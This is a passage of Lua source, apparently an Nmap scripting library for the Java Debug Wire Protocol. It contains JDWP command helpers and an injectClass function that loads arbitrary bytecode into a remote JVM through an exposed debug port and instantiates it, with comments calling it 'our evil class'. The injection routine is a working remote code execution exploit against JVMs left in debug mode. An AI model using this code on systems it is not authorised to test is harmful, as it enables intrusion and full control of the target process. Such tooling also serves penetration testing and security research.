--@param socket 					Socket to use to send the command.
--@param id 	 					Packet id. 
--@param eventID					The ID of the thread.
--@return (status, requestID) 		If status is false an error string is returned, else it's nil.
function clearThreadSinglestep(socket,id,eventID)
	local params = bin.pack(">Ci",1,eventID)
	local command = JDWPCommandPacket:new(id,15,2,params)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP clearThreadSinglestep() error: %s", data)
		return false,data
	end	
	return true,nil
end

--- ClassObjectReference Command Set (17) 
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference


--- ReflectedType Command (1)
--  Returns the reference type reflected by this class object. 
--
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference_ReflectedType
--
--@param socket 						Socket to use to send the command.
--@param id 	 						Packet id. 
--@param classObjectID					The ID of the object.
--@return (status, reflected_type) 		If status is false an error string is returned, else reflected_type is object's reference type.
function getReflectedType(socket,id,classObjectID)
	local _, param
	local command = JDWPCommandPacket:new(id,17,1,bin.pack(">L",classObjectID))
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP getReflectedType() error: %s", data)
		return false,data
	end	
	local reflected_type = {
		refTypeTag = nil,
		typeID = nil
	}
	_,reflected_type.refTypeTag, reflected_type.typeID = bin.unpack(">CL",data)
	
	return true, reflected_type
end

--- Helper function to find a method ID by its name.
--
-- @param socket 		Socket to use for communication.
-- @param class			ID of the class whose method we seek.
-- @param methodName	Name of the method.
-- @param skipFirst		Skip first found method.
function findMethod(socket,class,methodName,skipFirst)
	local methodID
	local status, methods = getMethodsWithGeneric(socket,0,class)
	if not status then
		return false
	end
	for _, method in ipairs(methods) do -- find first constructor and first defineClass() method
		stdnse.print_debug(2,"Method name: %s", method.name)
		if methodID == nil then
			if string.find(method.name,methodName) then
				if skipFirst then
					skipFirst = false
				else
					methodID = method.methodID
				end
			end
		end
	end	
	return methodID
end

--- Tries to inject specified bytes as a java class and create its instance.
--
--  Returns a table containing following fields:
--  * 'id'			Injected class reference ID.
--  * 'instance'	Inected calss' instance reference ID.
--  * 'thread'		Thread in which the class was injected and instantiated.
--
-- @param socket 		Socket to use for communication.
-- @param class_bytes	String of bytes of a java class file to inject.
-- @return 	(status,injectedClass) If status is false, an error message is returned, else returns a table with injected class info.
function injectClass(socket,class_bytes)
	local classes,status
	-- find byte array class id needed to create new array to load our bytecode into
	status,classes = getAllClassesWithGeneric(socket,0)
	if not status then
		stdnse.print_debug("getAllClassesWithGeneric failed: %s", classes)
		return false
	end
	local byteArrayID
	for _,class in ipairs(classes) do
		if string.find(class.signature,"%[B") then
			byteArrayID = class.typeID
			break
		end
	end
	if byteArrayID == nil then
		stdnse.print_debug("finding byte arrray id failed")
		return false
	end
	stdnse.print_debug("Found byte[] id %d",byteArrayID)
	
	-- find SecureClassLoader id by signature
	status, classes = getClassBySignature(socket,0,"Ljava/security/SecureClassLoader;")
	if not status then
		return false
	end
	local secureClassLoader = classes[1].referenceTypeID
	stdnse.print_debug("Found SecureClassLoader id %d",secureClassLoader)
	-- find SecureClassLoader() constructor 
	local constructorMethodID = findMethod(socket,secureClassLoader,"<init>",true)
	-- find ClassLoader id by signature
	status, classes = getClassBySignature(socket,0,"Ljava/lang/ClassLoader;")
	if not status then
		return false
	end		
	local classLoader = classes[1].referenceTypeID
	stdnse.print_debug("Found ClassLoader id %d",classes[1].referenceTypeID)
	-- find ClassLoader's defineClass() method
	local defineClassMethodID = findMethod(socket,classLoader,"defineClass",false)
	-- find ClassLoader's resolveClass() method
	local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false)	
	if constructorMethodID == nil or defineClassMethodID == nil or resolveClassMethodID == nil then
		stdnse.print_debug("Either constructor, defineClass or resolveClass method could not be found %s,%s,%s", type(constructorMethodID), type(defineClassMethodID),type(resolveClassMethodID))
		return false
	end


	-- create array to load bytecode into
	local arrayID 
	status, arrayID = newArrayInstance(socket,0,byteArrayID,#class_bytes)
	if not status then
		stdnse.print_debug("New array failed: %s", arrayID)
		return false
	end
	stdnse.print_debug("Created new byte array of length %d",#class_bytes)	
	-- set array values
	local temp
	status, temp = setArrayValues(socket,0,arrayID,0,class_bytes)
	if not status then
		stdnse.print_debug("Set values failed: %s", temp)
		return
	end
	stdnse.print_debug("Set array values to injected class bytes")			
	
	-- get main thread id 
	-- in order to load a new class file, thread must be suspended by an event
	-- so we set it to singlestep, let it run and it get suspended right away
	local threads 
	status,threads = getAllThreads(socket,0)
	if not status then
		stdnse.print_debug("get threads failed: %s", threads)
		return false
	end
	local main_thread
	local eventID
	stdnse.print_debug("Looking for main thread...")		
	for _,thread in ipairs(threads) do
		local thread_name
		status, thread_name = getThreadName(socket,0,thread)
		if not status then
			stdnse.print_debug("getThreadName failed: %s", thread_name)
			return false
		end
		if thread_name == "main" then
			stdnse.print_debug("Setting singlesteping to main thread.")		
			status, eventID = setThreadSinglestep(socket,0,thread)
			main_thread = thread
			break
		end
	end
	if main_thread == nil then
		stdnse.print_debug("couldn't find main thread")
		return false
	end
	-- to trigger the singlestep event, VM must be resumed
	stdnse.print_debug("Resuming VM and waiting for single step event from main thread...")		
	local status, _ = resumeVM(socket,0)
	-- clear singlestep since we need to run our code in this thread and we don't want it to stop after each instruction
	clearThreadSinglestep(socket,0,eventID)
	stdnse.print_debug("Cleared singlesteping from main thread.")			
	
	-- instantiate new class loader 
	local class_loader_instance 
	status, class_loader_instance = newClassInstance(socket,0,secureClassLoader,main_thread,constructorMethodID,0,nil)
	if not status then
		stdnse.print_debug("newClassInstance failed: %s", class_loader_instance)
		return false
	end
	stdnse.print_debug("Created new instance of SecureClassLoader.")		
	
	local injectedClass 
	-- invoke defineClass with byte array that contains our bytecode
	local defineClassArgs = bin.pack(">CLCiCi",0x5b,arrayID,0x49,0,0x49,#class_bytes) -- argument tags taken from http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502
	stdnse.print_debug("Calling secureClassLoader.defineClass(byte[],int,int) ...")			
	status, injectedClass = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,defineClassMethodID,3,defineClassArgs)
	if not status then
		stdnse.print_debug("invokeObjectMethod failed: %s", injectedClass)
	end
	-- resolve (Java's way of saying link) loaded class
	status, _ = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,resolveClassMethodID,1,injectedClass) -- call with injectedClass which still has a tag
	if not status then
		stdnse.print_debug("invokeObjectMethod failed:")
	end
	-- extract the injected class' ID
	local tag,injectedClassID
	_,tag,injectedClassID = bin.unpack(">CL",injectedClass)	

	-- our class is now injected, but we need to find it's methods by calling Class.getMethods() on it
	-- and for that we need its runtime_type which is Class
	local runtime_type 
	status, runtime_type = getRuntimeType(socket,0,injectedClassID) -- should be Class
	-- find the getMethods() id	
	local getMethodsMethod = findMethod(socket,runtime_type,"getMethods",false)
	status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil) 


	stdnse.print_debug("New class defined. Injected class id : %d",injectedClassID)		
	local sig, reflected_type
	status, sig = getSignatureWithGeneric(socket,0,injectedClassID)
	stdnse.print_debug("Injected class signature: %s", sig)
	status, reflected_type = getReflectedType(socket,0,injectedClassID)	

	-- find injected class constructor
	local injectedConstructor = findMethod(socket,injectedClassID,"<init>",false)
	
	if injectedConstructor == nil then
		stdnse.print_debug("Couldn't find either evil method or constructor")
		return false
	end	
	
	-- instantiate our evil class 
	local injectedClassInstance
	status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil)	
	if not status then
		return false, injectedClassInstance
	end
	local injected_class = {
		id = injectedClassID,
		instance = injectedClassInstance,
		thread = main_thread
	}
	return true, injected_class
end

return _ENV;